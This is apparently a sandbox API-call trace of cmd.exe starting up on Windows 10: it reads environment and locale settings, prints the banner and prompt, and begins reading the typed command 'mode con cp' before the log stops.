	[0156.125] ??_V@YAXPEAX@Z () returned 0x1ff0cd10080
	[0156.126] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1ff0cd10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0156.126] malloc (_Size=0xffce) returned 0x1ff0cd20060
	[0156.126] ??_V@YAXPEAX@Z () returned 0x1ff0cd20060
	[0156.126] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ff0cd20060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0156.127] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65b83bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc
	[0156.127] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65b83bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0156.127] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65b83bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0156.127] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0156.127] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0156.127] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0156.127] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0156.127] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0156.127] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0156.127] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0156.127] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0156.127] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0156.127] GetProcessHeap () returned 0x1ff0cc10000
	[0156.127] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc16500) returned 1
	[0156.127] GetEnvironmentStringsW () returned 0x1ff0cc15a60*
	[0156.127] GetProcessHeap () returned 0x1ff0cc10000
	[0156.127] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xace) returned 0x1ff0cc16540
	[0156.127] FreeEnvironmentStringsA (penv="=") returned 1
	[0156.127] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff65b83bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0156.127] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff65b83bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0156.127] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0156.127] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0156.127] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0156.127] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0156.127] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0156.128] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0156.128] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0156.128] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0156.128] malloc (_Size=0xffce) returned 0x1ff0cd30040
	[0156.128] ??_V@YAXPEAX@Z () returned 0x1ff0cd30040
	[0156.128] GetProcessHeap () returned 0x1ff0cc10000
	[0156.128] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x38) returned 0x1ff0cc18580
	[0156.128] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1ff0cd30040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0156.128] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x1ff0cd30040, lpFilePart=0x32a16ff5d0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x32a16ff5d0*="system32") returned 0x13
	[0156.129] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0156.129] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x32a16ff300 | out: lpFindFileData=0x32a16ff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x1ff0cc185c0
	[0156.129] FindClose (in: hFindFile=0x1ff0cc185c0 | out: hFindFile=0x1ff0cc185c0) returned 1
	[0156.129] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x32a16ff300 | out: lpFindFileData=0x32a16ff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x98fdf96e, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x98fdf96e, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x1ff0cc185c0
	[0156.129] FindClose (in: hFindFile=0x1ff0cc185c0 | out: hFindFile=0x1ff0cc185c0) returned 1
	[0156.130] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0156.130] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0156.130] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0156.130] GetProcessHeap () returned 0x1ff0cc10000
	[0156.130] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc16540) returned 1
	[0156.130] GetEnvironmentStringsW () returned 0x1ff0cc15a60*
	[0156.130] GetProcessHeap () returned 0x1ff0cc10000
	[0156.130] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xafe) returned 0x1ff0cc16570
	[0156.130] FreeEnvironmentStringsA (penv="=") returned 1
	[0156.130] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1ff0cd10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0156.130] GetProcessHeap () returned 0x1ff0cc10000
	[0156.130] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc18580) returned 1
	[0156.130] ??_V@YAXPEAX@Z () returned 0x1
	[0156.130] ??_V@YAXPEAX@Z () returned 0x1
	[0156.130] GetProcessHeap () returned 0x1ff0cc10000
	[0156.130] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x4016) returned 0x1ff0cc18580
	[0156.130] GetProcessHeap () returned 0x1ff0cc10000
	[0156.130] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc18580) returned 1
	[0156.130] GetConsoleOutputCP () returned 0x1b5
	[0156.702] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65b83fbb0 | out: lpCPInfo=0x7ff65b83fbb0) returned 1
	[0156.702] GetUserDefaultLCID () returned 0x409
	[0156.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff65b83bb78, cchData=8 | out: lpLCData=":") returned 2
	[0156.702] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32a16ff990, cchData=128 | out: lpLCData="0") returned 2
	[0156.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32a16ff990, cchData=128 | out: lpLCData="0") returned 2
	[0156.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32a16ff990, cchData=128 | out: lpLCData="1") returned 2
	[0156.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff65b83bb68, cchData=8 | out: lpLCData="/") returned 2
	[0156.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff65b83bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0156.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff65b83bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0156.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff65b83ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0156.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff65b83ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0156.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff65b83ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0156.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff65b83b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0156.703] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff65b83b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0156.703] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff65b83bb58, cchData=8 | out: lpLCData=".") returned 2
	[0156.703] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff65b83bb40, cchData=8 | out: lpLCData=",") returned 2
	[0156.703] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0156.705] GetProcessHeap () returned 0x1ff0cc10000
	[0156.705] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, Size=0x20c) returned 0x1ff0cc170f0
	[0156.705] GetConsoleTitleW (in: lpConsoleTitle=0x1ff0cc170f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0157.207] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.207] GetFileType (hFile=0x254) returned 0x3
	[0157.208] ApiSetQueryApiSetPresence () returned 0x0
	[0157.208] ResolveDelayLoadedAPI () returned 0x7ffd42ffd990
	[0157.219] BrandingFormatString () returned 0x1ff0cc175e0
	[0157.249] GetVersion () returned 0x3ad7000a
	[0157.249] _vsnwprintf (in: _Buffer=0x32a16ffaf0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x32a16ffa88 | out: _Buffer="10.0.15063") returned 10
	[0157.249] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.249] GetFileType (hFile=0x254) returned 0x3
	[0157.249] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff65b847f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0157.250] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff65b847f60, nSize=0x2000, Arguments=0x32a16ffa90 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26
	[0157.250] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39
	[0157.250] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x32a16ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ff9e8*=0x26, lpOverlapped=0x0) returned 1
	[0157.250] _vsnwprintf (in: _Buffer=0x7ff65b847f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x32a16ffab8 | out: _Buffer="\r\n") returned 2
	[0157.250] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.250] GetFileType (hFile=0x254) returned 0x3
	[0157.250] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0157.250] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x32a16ffa88, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ffa88*=0x2, lpOverlapped=0x0) returned 1
	[0157.250] _vsnwprintf (in: _Buffer=0x7ff65b847f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x32a16ffab8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52
	[0157.250] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.250] GetFileType (hFile=0x254) returned 0x3
	[0157.250] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53
	[0157.250] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x32a16ffa88, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ffa88*=0x34, lpOverlapped=0x0) returned 1
	[0157.250] _vsnwprintf (in: _Buffer=0x7ff65b847f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x32a16ffab8 | out: _Buffer="\r\n") returned 2
	[0157.250] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.250] GetFileType (hFile=0x254) returned 0x3
	[0157.250] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0157.250] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x32a16ffa88, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ffa88*=0x2, lpOverlapped=0x0) returned 1
	[0157.251] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffd4b500000
	[0157.251] GetProcAddress (hModule=0x7ffd4b500000, lpProcName="CopyFileExW") returned 0x7ffd4b51e830
	[0157.251] GetProcAddress (hModule=0x7ffd4b500000, lpProcName="IsDebuggerPresent") returned 0x7ffd4b51e300
	[0157.251] GetProcAddress (hModule=0x7ffd4b500000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffd4a640a40
	[0157.251] ??_V@YAXPEAX@Z () returned 0x1
	[0157.251] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.251] GetFileType (hFile=0x248) returned 0x3
	[0157.251] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0157.251] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x32a16ff8f8 | out: TokenHandle=0x32a16ff8f8*=0x0) returned 0xc000007c
	[0157.251] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x32a16ff8f8 | out: TokenHandle=0x32a16ff8f8*=0x98) returned 0x0
	[0157.252] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0x32a16ff8a8, TokenInformationLength=0x4, ReturnLength=0x32a16ff8b0 | out: TokenInformation=0x32a16ff8a8, ReturnLength=0x32a16ff8b0) returned 0x0
	[0157.253] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0x32a16ff8b0, TokenInformationLength=0x4, ReturnLength=0x32a16ff8a8 | out: TokenInformation=0x32a16ff8b0, ReturnLength=0x32a16ff8a8) returned 0x0
	[0157.253] NtClose (Handle=0x98) returned 0x0
	[0157.254] _vsnwprintf (in: _Buffer=0x7ff65b847f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x32a16ff738 | out: _Buffer="\r\n") returned 2
	[0157.254] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.254] GetFileType (hFile=0x254) returned 0x3
	[0157.254] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0157.254] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x32a16ff708, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ff708*=0x2, lpOverlapped=0x0) returned 1
	[0157.254] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65b83bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0157.254] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1ff0cd10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0157.254] malloc (_Size=0x107ce) returned 0x1ff0cd20060
	[0157.255] _vsnwprintf (in: _Buffer=0x1ff0cd20060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x32a16ff748 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0157.255] _vsnwprintf (in: _Buffer=0x1ff0cd20086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x32a16ff748 | out: _Buffer=">") returned 1
	[0157.255] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.255] GetFileType (hFile=0x254) returned 0x3
	[0157.255] _get_osfhandle (_FileHandle=1) returned 0x254
	[0157.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0157.255] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x32a16ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ff738*=0x14, lpOverlapped=0x0) returned 1
	[0157.255] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.255] GetFileType (hFile=0x248) returned 0x3
	[0157.255] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.255] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.256] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0157.256] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.256] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.256] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0157.256] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.256] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.256] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0157.256] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.256] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.256] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0157.256] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.256] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.256] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0157.256] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.256] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.256] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.256] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0157.256] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.256] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.257] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0157.257] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.257] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.257] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0157.257] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.257] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.257] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0157.257] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.257] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.257] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0157.257] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.257] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0157.257] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0157.257] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0157.257] _get_osfhandle (_FileHandle=0) returned 0x248
	[0157.257] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
